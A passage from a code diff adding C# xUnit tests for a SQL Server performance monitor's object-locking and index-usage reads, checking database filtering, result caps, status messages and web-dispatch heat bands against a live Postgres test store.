+                Assert.False(row.TryGetProperty("heat", out _), "the MCP payload must not carry the web's heat bands");
+                Assert.Equal(14, row.EnumerateObject().Count());
+            }
+        }, Cleanup);
+
+    [Fact]
+    public Task WebRead_At200Rows_GrowsByUnder30BytesARow_WithTheSameRowsAsTheMcpRead() =>
+        WithStoreAsync("heat-locking-size", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            for (var i = 1; i <= 200; i++)
+            {
+                /* Waits across six orders of magnitude, a zero in each column for some rows (those cells carry null). */
+                await PlantAsync(connection, ct, serverId, serverName, now, "SizeDb" + i % 10, "IX_size_" + i,
+                    rowLockMs: i % 7 == 0 ? 0 : (long)Math.Pow(10, i % 6) + i, pageLockMs: i % 5 == 0 ? 0 : 3L * i + 1,
+                    latchMs: i % 3 == 0 ? 0 : 50L * i + 1, ioLatchMs: i % 11 == 0 ? 0 : 7L * i + 1);
+            }
+
+            var mcp = await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName, limit: 200);
+            var web = await DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(postgres, serverName, 200, null, DatabaseFilter.All, ct);
+            var webRows = JsonDocument.Parse(web).RootElement.GetProperty("objects");
+            Assert.Equal(200, webRows.GetArrayLength());
+            Assert.Equal(200, JsonDocument.Parse(mcp).RootElement.GetProperty("objects").GetArrayLength());
+
+            var growth = System.Text.Encoding.UTF8.GetByteCount(web) - System.Text.Encoding.UTF8.GetByteCount(mcp);
+            Assert.InRange(growth, 1, 30 * 200);
+        }, Cleanup);
+
+    private static async Task WithStoreAsync(
+        string serverName, Func<NpgsqlConnection, NpgsqlDataSource, int, string, DateTime, CancellationToken, Task> body, string cleanupSql)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live Locking heat tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(System.Globalization.CultureInfo.InvariantCulture, cleanupSql, serverId)
+                      + string.Format(System.Globalization.CultureInfo.InvariantCulture, "; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            await body(connection, postgres, serverId, serverName, DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-1), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs b/Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs
index 2eb3e03f35..e4c3cb28b7 100644
--- a/Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs
+++ b/Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs
@@ -33,7 +33,7 @@ public void GetObjectLocking_WebRowKeepsTheOldTwoHundredRowCeiling()
 
         var dispatchLine = Assert.Single(
             web.Split('\n'),
-            l => l.Contains("DarlingMcpObjectStatsTools.GetObjectLocking(", StringComparison.Ordinal));
+            l => l.Contains("DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(", StringComparison.Ordinal));
 
         Assert.Contains("Rows(c, \"limit\", 200)", dispatchLine, StringComparison.Ordinal);
 
diff --git a/Darling/Darling.Tests/ObjectStatsDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/ObjectStatsDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..675f3c384a
--- /dev/null
+++ b/Darling/Darling.Tests/ObjectStatsDatabaseFilterLiveTests.cs
@@ -0,0 +1,457 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244), PR2 lane R: the database filter on the two object-stats reads, get_object_locking and
+/// get_index_usage. Each has an internal overload that takes a <see cref="DatabaseFilter"/>, with the list predicate
+/// (<c>$2::text[] IS NULL OR database_name = ANY($2)</c>) in the row statement (and in the match-count statement of
+/// get_index_usage), so an overload call with [A, B] over a seed of A, B and C returns only A's and B's rows. The
+/// public methods still pass <see cref="DatabaseFilter.All"/> (get_object_locking) or one name (get_index_usage), so
+/// there is no MCP schema, dispatch or tools/list change.
+///
+/// <para><b>What each test pins.</b> The page is the top N of the CHOSEN databases (the cap comes after the filter);
+/// the snapshot anchor stays the server's newest capture (a filtered call never reads an older capture that a chosen
+/// database was last seen in); and every one-name consumer on the empty, unavailable and truncated paths is list-aware
+/// (#5245 M4): the empty sentences, the truncation notes, the optimized-locking note (only the chosen databases' flags
+/// count), the Azure master "separately monitored" note (kept only when a chosen database is one of them), and the
+/// echoed <c>database_name</c>.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ObjectStatsDatabaseFilterLiveTests
+{
+    private const string A = "ObjFilterA";
+    private const string B = "ObjFilterB";
+    private const string C = "ObjFilterC";
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    private static List<string> Databases(IEnumerable<string> names) =>
+        names.Distinct().OrderBy(n => n, StringComparer.Ordinal).ToList();
+
+    private static List<string> JsonDatabases(JsonElement root, string property) =>
+        Databases(root.GetProperty(property).EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!));
+
+    /// <summary>
+    /// One index_object_stats row. <paramref name="waitMs"/> is the row-lock wait (the contention the locking read
+    /// ranks and filters on); <paramref name="reads"/> are the seeks the usage read classifies Unused (0) or Active by.
+    /// </summary>
+    private static Task PlantIndexAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime capture,
+        string db, string index, long waitMs, long reads, decimal reservedMb = 100m) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+                  row_lock_wait_count, row_lock_wait_in_ms, page_lock_wait_count, page_lock_wait_in_ms, index_lock_promotion_count, page_latch_wait_in_ms, page_io_latch_wait_in_ms, user_seeks, user_scans, user_lookups, user_updates)
+              VALUES ($1,$2,$3,$4,$5,'dbo',$6,$7,1,$8,'NONCLUSTERED',$9,$9,1000, 1,$10, 0,0, 0, 0,0, $11,0,0,0)",
+            CollectionIdGenerator.Next(), capture, serverId, serverName, db, 1000 + index.Length, "T_" + index, index, reservedMb, waitMs, reads);
+
+    private static Task PlantConfigAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime capture, string db, bool optimizedLocking) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO database_config (config_id, capture_time, server_id, server_name, database_name, state_desc, compatibility_level, is_optimized_locking_on)
+              VALUES ($1,$2,$3,$4,$5,'ONLINE',170,$6)",
+            CollectionIdGenerator.Next(), capture, serverId, serverName, db, optimizedLocking);
+
+    /// <summary>The three-database seed: C is the most contended and the largest unused index, A and B are smaller.</summary>
+    private static async Task SeedThreeAsync(NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime capture)
+    {
+        await PlantIndexAsync(connection, ct, serverId, serverName, capture, A, "IX_a1", waitMs: 300, reads: 0, reservedMb: 10m);
+        await PlantIndexAsync(connection, ct, serverId, serverName, capture, A, "IX_a2", waitMs: 200, reads: 50, reservedMb: 20m);
+        await PlantIndexAsync(connection, ct, serverId, serverName, capture, B, "IX_b1", waitMs: 100, reads: 0, reservedMb: 30m);
+        await PlantIndexAsync(connection, ct, serverId, serverName, capture, C, "IX_c1", waitMs: 9_000, reads: 0, reservedMb: 900m);
+        await PlantIndexAsync(connection, ct, serverId, serverName, capture, C, "IX_c2", waitMs: 8_000, reads: 0, reservedMb: 800m);
+    }
+
+    private const string Cleanup =
+        "DELETE FROM index_object_stats WHERE server_id = {0}; DELETE FROM database_config WHERE server_id = {0}";
+
+    // ---------------------------------------------------------------- get_object_locking
+
+    [Fact]
+    public Task ObjectLockingReader_AListOfDatabases_ReturnsOnlyThoseDatabases_AndTheCapAppliesAfterTheFilter() =>
+        WithStoreAsync("obj-filter-locking-reader", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+
+            var both = await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, Of(A, B), ct);
+            Assert.Equal([A, B], Databases(both.Select(r => r.DatabaseName)));
+            Assert.Equal(3, both.Count);
+
+            /* Order of the names does not matter, and All is every database. */
+            Assert.Equal(3, (await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, Of(B, A), ct)).Count);
+            Assert.Equal([A, B, C], Databases((await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, DatabaseFilter.All, ct)).Select(r => r.DatabaseName)));
+            Assert.Equal([A, B, C], Databases((await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, ct)).Select(r => r.DatabaseName)));
+
+            /* One name: the same rows as a list of one. */
+            Assert.Equal([B], Databases((await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, DatabaseFilter.One(B), ct)).Select(r => r.DatabaseName)));
+
+            /* The cap comes AFTER the filter: unfiltered, the top 1 is C's most contended index; filtered to A and B, the top 1 is
+               A's, never an empty page because C's rows took the slot. */
+            var unfilteredTop = await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 1, DatabaseFilter.All, ct);
+            Assert.Equal(C, Assert.Single(unfilteredTop).DatabaseName);
+            var filteredTop = await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 1, Of(A, B), ct);
+            Assert.Equal(A, Assert.Single(filteredTop).DatabaseName);
+
+            /* A name that no row carries matches nothing, however it is cased. */
+            Assert.Empty(await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, Of(A.ToUpperInvariant(), "Nope"), ct));
+        }, Cleanup);
+
+    [Fact]
+    public Task ObjectLockingReader_TheSnapshotAnchorStaysServerWide() =>
+        WithStoreAsync("obj-filter-locking-anchor", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            /* An older capture holds A and B; the newest holds only C. A filter on [A, B] must NOT slide back to the older
+               capture A and B were last seen in: it reads the server's newest capture, finds none of theirs, and is empty. */
+            await PlantIndexAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, "IX_old_a", waitMs: 500, reads: 0);
+            await PlantIndexAsync(connection, ct, serverId, serverName, now.AddHours(-1), B, "IX_old_b", waitMs: 400, reads: 0);
+            await PlantIndexAsync(connection, ct, serverId, serverName, now, C, "IX_new_c", waitMs: 100, reads: 0);
+
+            Assert.Empty(await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, Of(A, B), ct));
+            Assert.Equal(C, Assert.Single(await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, serverId, 50, DatabaseFilter.All, ct)).DatabaseName);
+
+            /* The tool: the same capture stamps filtered and unfiltered pages. */
+            var all = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: Of(C))).RootElement;
+            var unfiltered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName)).RootElement;
+            Assert.Equal(unfiltered.GetProperty("captured_at").GetString(), all.GetProperty("captured_at").GetString());
+        }, Cleanup);
+
+    [Fact]
+    public Task ObjectLockingTool_AListOfDatabases_PagesOverTheChosenDatabases_AndTheNotesNameTheFilter() =>
+        WithStoreAsync("obj-filter-locking-tool", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+
+            var both = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: Of(A, B))).RootElement;
+            Assert.Equal([A, B], JsonDatabases(both, "objects"));
+            Assert.Equal(3, both.GetProperty("objects_returned").GetInt32());
+            Assert.False(both.GetProperty("truncated").GetBoolean());
+            Assert.Equal("Complete: every index with lock/latch contention in the chosen databases at the latest snapshot is included.", both.GetProperty("note").GetString());
+
+            var one = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: DatabaseFilter.One(B))).RootElement;
+            Assert.Equal([B], JsonDatabases(one, "objects"));
+            Assert.Equal($"Complete: every index with lock/latch contention in database '{B}' at the latest snapshot is included.", one.GetProperty("note").GetString());
+
+            /* Truncated: the page is the top of the CHOSEN databases, and the note says which. */
+            var capped = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 2, null, null, ct, databases: Of(A, B))).RootElement;
+            Assert.True(capped.GetProperty("truncated").GetBoolean());
+            Assert.Equal(2, capped.GetProperty("objects").GetArrayLength());
+            Assert.DoesNotContain(C, JsonDatabases(capped, "objects"));
+            Assert.Contains("lock/latch contention in the chosen databases at the latest snapshot", capped.GetProperty("note").GetString(), StringComparison.Ordinal);
+
+            /* Unfiltered and the public method are unchanged: every database, today's words. */
+            var every = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName)).RootElement;
+            Assert.Equal([A, B, C], JsonDatabases(every, "objects"));
+            Assert.Equal("Complete: every index with lock/latch contention at the latest snapshot is included.", every.GetProperty("note").GetString());
+        }, Cleanup);
+
+    [Fact]
+    public Task ObjectLockingTool_AnEmptyFilteredRead_IsEmptyWhenTheServerHasContentionElsewhere_AndUnavailableWhenItHasNone() =>
+        WithStoreAsync("obj-filter-locking-empty", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            /* No row at all: unfiltered and filtered both say there is no data, and the filtered one names its scope. */
+            var bareUnfiltered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName)).RootElement;
+            var bareFiltered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: Of(A, B))).RootElement;
+            Assert.Equal(bareUnfiltered.GetProperty("status").GetString(), bareFiltered.GetProperty("status").GetString());
+            Assert.Equal("unavailable", bareFiltered.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases, or for any other database on this server", bareFiltered.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.DoesNotContain("chosen databases", bareUnfiltered.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* #5372 (r2 Low): a latest snapshot that holds an index with NO contention anywhere is a true negative, `empty`
+               (the collector looked); only a server with no snapshot at all stays `unavailable` above. Unfiltered and
+               filtered answer alike, and the filtered sentence names its scope. */
+            await PlantIndexAsync(connection, ct, serverId, serverName, now, A, "IX_quiet", waitMs: 0, reads: 5);
+            var quietUnfiltered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName)).RootElement;
+            Assert.Equal("empty", quietUnfiltered.GetProperty("status").GetString());
+            Assert.Equal($"No lock/latch contention on {serverName} at the latest snapshot.", quietUnfiltered.GetProperty("message").GetString());
+            var quietFiltered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: DatabaseFilter.One(A))).RootElement;
+            Assert.Equal("empty", quietFiltered.GetProperty("status").GetString());
+            Assert.Equal($"No lock/latch contention in database '{A}' or in any other database on {serverName} at the latest snapshot.", quietFiltered.GetProperty("message").GetString());
+
+            /* Contention exists, but only in C: a filter on A and B looked and found nothing, which is "empty", not "unavailable". */
+            await PlantIndexAsync(connection, ct, serverId, serverName, now, C, "IX_c1", waitMs: 900, reads: 0);
+
+            var many = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: Of(A, B))).RootElement;
+            Assert.Equal("empty", many.GetProperty("status").GetString());
+            var manyMessage = many.GetProperty("message").GetString()!;
+            Assert.Contains("No lock/latch contention in the chosen databases", manyMessage, StringComparison.Ordinal);
+            Assert.Contains("other databases on the server have some", manyMessage, StringComparison.Ordinal);
+
+            var single = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: DatabaseFilter.One(A))).RootElement;
+            Assert.Equal("empty", single.GetProperty("status").GetString());
+            Assert.Contains($"No lock/latch contention in database '{A}'", single.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* The unfiltered read still finds C. */
+            Assert.Equal([C], JsonDatabases(JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName)).RootElement, "objects"));
+        }, Cleanup);
+
+    [Fact]
+    public Task ObjectLockingTool_TheOptimizedLockingNote_CountsOnlyTheChosenDatabases() =>
+        WithStoreAsync("obj-filter-locking-optimized", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+            await PlantConfigAsync(connection, ct, serverId, serverName, now, A, optimizedLocking: false);
+            await PlantConfigAsync(connection, ct, serverId, serverName, now, B, optimizedLocking: false);
+            await PlantConfigAsync(connection, ct, serverId, serverName, now, C, optimizedLocking: true);
+
+            string? Note(JsonElement root) => root.GetProperty("optimized_locking_note").ValueKind == JsonValueKind.Null
+                ? null : root.GetProperty("optimized_locking_note").GetString();
+
+            var every = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName)).RootElement;
+            Assert.Equal(OptimizedLockingNote.Text, Note(every));
+
+            /* A and B have it off: a page of only A and B does not carry a warning about C's database. */
+            var ab = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: Of(A, B))).RootElement;
+            Assert.Null(Note(ab));
+
+            var ac = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, null, null, ct, databases: Of(A, C))).RootElement;
+            Assert.Equal(OptimizedLockingNote.Text, Note(ac));
+
+            /* The reader the note comes from: the anchor is the server's capture, only the databases counted change. */
+            Assert.Null(await DarlingObjectStatsReader.GetOptimizedLockingNoteAsync(postgres, serverId, Of(A, B), ct));
+            Assert.Equal(OptimizedLockingNote.Text, await DarlingObjectStatsReader.GetOptimizedLockingNoteAsync(postgres, serverId, DatabaseFilter.All, ct));
+            Assert.Equal(OptimizedLockingNote.Text, await DarlingObjectStatsReader.GetOptimizedLockingNoteAsync(postgres, serverId, ct));
+        }, Cleanup);
+
+    [Fact]
+    public Task ObjectLockingTool_TheSeparatelyMonitoredNote_IsKeptOnlyWhenAChosenDatabaseIsOneOfThem() =>
+        WithStoreAsync("obj-filter-locking-separate", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+            var state = new MonitoredServerRegistryState();
+            Task<IReadOnlyList<string>?> Resolver(int id, CancellationToken token) => Task.FromResult<IReadOnlyList<string>?>([C.ToLowerInvariant()]);
+
+            async Task<string?> NoteFor(DatabaseFilter databases)
+            {
+                var root = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingCoreAsync(postgres, serverName, 50, state, Resolver, ct, databases)).RootElement;
+                var note = root.GetProperty("separately_monitored_note");
+                return note.ValueKind == JsonValueKind.Null ? null : note.GetString();
+            }
+
+            Assert.Equal(AzureMasterScope.SeparatelyMonitoredListNote, await NoteFor(DatabaseFilter.All));
+            /* The page holds only A and B, none of the separately monitored databases: the note's claim would be false. */
+            Assert.Null(await NoteFor(Of(A, B)));
+            /* C is one of them (a differently cased spelling matches, as the SQL names compare there). */
+            Assert.Equal(AzureMasterScope.SeparatelyMonitoredListNote, await NoteFor(Of(A, C)));
+        }, Cleanup);
+
+    // ---------------------------------------------------------------- get_index_usage
+
+    [Fact]
+    public Task IndexUsageReader_AListOfDatabases_ReturnsOnlyThoseDatabases_AndTheCountAndTheCapFollowTheFilter() =>
+        WithStoreAsync("obj-filter-usage-reader", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+
+            var both = await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, serverId, 50, Of(A, B), ct);
+            Assert.Equal([A, B], Databases(both.Select(r => r.DatabaseName)));
+            Assert.Equal(3, both.Count);
+            Assert.Equal(3, await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, serverId, Of(A, B), ct));
+
+            Assert.Equal(5, await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, serverId, DatabaseFilter.All, ct));
+            Assert.Equal(5, (await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, serverId, 50, DatabaseFilter.All, ct)).Count);
+
+            /* One name: the list of one, the old string overload and the named-argument form all agree. */
+            var oneFilter = await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, serverId, 50, DatabaseFilter.One(B), ct);
+            var oneName = await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, serverId, 50, databaseName: B, cancellationToken: ct);
+            Assert.Equal(oneFilter.Select(r => r.IndexName), oneName.Select(r => r.IndexName));
+            Assert.Equal(1, await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, serverId, DatabaseFilter.One(B), ct));
+            Assert.Equal(1, await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, serverId, databaseName: B, cancellationToken: ct));
+
+            /* The cap is after the filter: unfiltered, the unused-first, largest-first top 1 is C's; filtered it is the largest unused of A and B. */
+            Assert.Equal(C, Assert.Single(await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, serverId, 1, DatabaseFilter.All, ct)).DatabaseName);
+            Assert.Equal("IX_b1", Assert.Single(await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, serverId, 1, Of(A, B), ct)).IndexName);
+        }, Cleanup);
+
+    [Fact]
+    public Task IndexUsageTool_AListOfDatabases_PagesOverTheChosenDatabases_AndTheSentencesNameTheFilter() =>
+        WithStoreAsync("obj-filter-usage-tool", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+
+            var both = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, Of(A, B), 50, ct)).RootElement;
+            Assert.Equal([A, B], JsonDatabases(both, "indexes"));
+            Assert.Equal(3, both.GetProperty("matching_index_count").GetInt64());
+            Assert.Equal("the chosen databases", both.GetProperty("database_name").GetString());
+            Assert.False(both.GetProperty("truncated").GetBoolean());
+
+            /* Truncated: the count is the chosen databases' (3, not the server's 5) and the note does not tell a filtered
+               caller to "pass database_name". */
+            var capped = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, Of(A, B), 2, ct)).RootElement;
+            Assert.True(capped.GetProperty("truncated").GetBoolean());
+            Assert.Equal(3, capped.GetProperty("matching_index_count").GetInt64());
+            var note = capped.GetProperty("note").GetString()!;
+            Assert.Contains("3 indexes match the chosen databases and 2 were returned", note, StringComparison.Ordinal);
+            Assert.DoesNotContain("pass database_name", note, StringComparison.Ordinal);
+            Assert.DoesNotContain("whole server", note, StringComparison.Ordinal);
+
+            /* The public one-name method: its echo and sentences are unchanged. */
+            var one = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, database_name: B, cancellationToken: ct)).RootElement;
+            Assert.Equal(B, one.GetProperty("database_name").GetString());
+            Assert.Equal([B], JsonDatabases(one, "indexes"));
+            var every = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, cancellationToken: ct)).RootElement;
+            Assert.Equal(JsonValueKind.Null, every.GetProperty("database_name").ValueKind);
+            Assert.Equal(5, every.GetProperty("matching_index_count").GetInt64());
+        }, Cleanup);
+
+    [Fact]
+    public Task IndexUsageTool_AnEmptyFilteredRead_IsEmptyWhenTheServerHasRowsElsewhere_AndKeepsTheUnfilteredAnswerWhenItHasNone() =>
+        WithStoreAsync("obj-filter-usage-empty", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var bareUnfiltered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, cancellationToken: ct)).RootElement;
+            var bareFiltered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, Of(A, B), 50, ct)).RootElement;
+            Assert.Equal(bareUnfiltered.GetProperty("status").GetString(), bareFiltered.GetProperty("status").GetString());
+            Assert.Equal("unavailable", bareFiltered.GetProperty("status").GetString());
+
+            await PlantIndexAsync(connection, ct, serverId, serverName, now, C, "IX_c1", waitMs: 0, reads: 5);
+            await PlantIndexAsync(connection, ct, serverId, serverName, now, C, "IX_c2", waitMs: 0, reads: 5);
+
+            var many = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, Of(A, B), 50, ct)).RootElement;
+            Assert.Equal("empty", many.GetProperty("status").GetString());
+            var manyMessage = many.GetProperty("message").GetString()!;
+            Assert.Contains("No index usage rows for the chosen databases on", manyMessage, StringComparison.Ordinal);
+            Assert.Contains("the server has 2 across its other databases", manyMessage, StringComparison.Ordinal);
+            Assert.Contains("Check the database names against get_database_sizes", manyMessage, StringComparison.Ordinal);
+
+            var single = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetIndexUsage(postgres, serverName, database_name: A, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", single.GetProperty("status").GetString());
+            var singleMessage = single.GetProperty("message").GetString()!;
+            Assert.Contains($"No index usage rows for database '{A}' on", singleMessage, StringComparison.Ordinal);
+            Assert.Contains("Check the database name against get_database_sizes", singleMessage, StringComparison.Ordinal);
+        }, Cleanup);
+
+    // ---------------------------------------------------------------- #5231 PR2 lane W2: the web dispatch and the MCP parameter
+
+    /// <summary>A read through the web dispatch, one <c>database_name</c> key per chosen database.</summary>
+    private static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string read, string serverName, params string[] databases)
+    {
+        var query = new List<KeyValuePair<string, string?>> { new("server_name", serverName) };
+        query.AddRange(databases.Select(d => new KeyValuePair<string, string?>("database_name", d)));
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = QueryString.Create(query);
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    [Theory]
+    [InlineData("get_object_locking", "objects")]
+    [InlineData("get_index_usage", "indexes")]
+    public Task WebDispatch_TwoRepeatedDatabaseNameKeys_ReturnOnlyThoseDatabasesRows(string read, string property) =>
+        WithStoreAsync("obj-filter-web-" + read, async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+
+            /* RED on base: the dispatch ignored the keys (get_object_locking passed All; get_index_usage read one name). */
+            var two = JsonDocument.Parse(await WebReadAsync(postgres, read, serverName, A, B)).RootElement;
+            Assert.Equal([A, B], JsonDatabases(two, property));
+
+            var one = JsonDocument.Parse(await WebReadAsync(postgres, read, serverName, C)).RootElement;
+            Assert.Equal([C], JsonDatabases(one, property));
+
+            /* No key is every database; the same name twice is one database. */
+            Assert.Equal([A, B, C], JsonDatabases(JsonDocument.Parse(await WebReadAsync(postgres, read, serverName)).RootElement, property));
+            Assert.Equal([B], JsonDatabases(JsonDocument.Parse(await WebReadAsync(postgres, read, serverName, B, B)).RootElement, property));
+
+            /* A blank-only list is refused, never widened to "all databases". */
+            var refused = JsonDocument.Parse(await WebReadAsync(postgres, read, serverName, "  ", "")).RootElement;
+            Assert.Equal("invalid", refused.GetProperty("status").GetString());
+        }, Cleanup);
+
+    [Fact]
+    public Task WebLockingDispatch_TheHeatBandsAreComputedOverTheFilteredRows_AndTheDetailSelectorIgnoresTheFilter() =>
+        WithStoreAsync("obj-filter-web-heat", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+
+            /* C holds the largest waits. Unfiltered, A and B's small waits band low; filtered to A and B, the largest of THEM
+               takes a higher band, so the bands moved with the filter. */
+            int TopBand(JsonElement root, string database) => root.GetProperty("objects").EnumerateArray()
+                .Where(r => r.GetProperty("database_name").GetString() == database)
+                .Max(r => r.GetProperty("heat")[0].GetInt32());
+            var unfiltered = JsonDocument.Parse(await WebReadAsync(postgres, "get_object_locking", serverName)).RootElement;
+            var filtered = JsonDocument.Parse(await WebReadAsync(postgres, "get_object_locking", serverName, A, B)).RootElement;
+            Assert.True(TopBand(filtered, A) > TopBand(unfiltered, A),
+                $"A's top row-lock band was {TopBand(unfiltered, A)} over every database and {TopBand(filtered, A)} over A and B");
+
+            /* The detail read names its own database: a database_name key beside it is ignored. */
+            var query = new List<KeyValuePair<string, string?>>
+            {
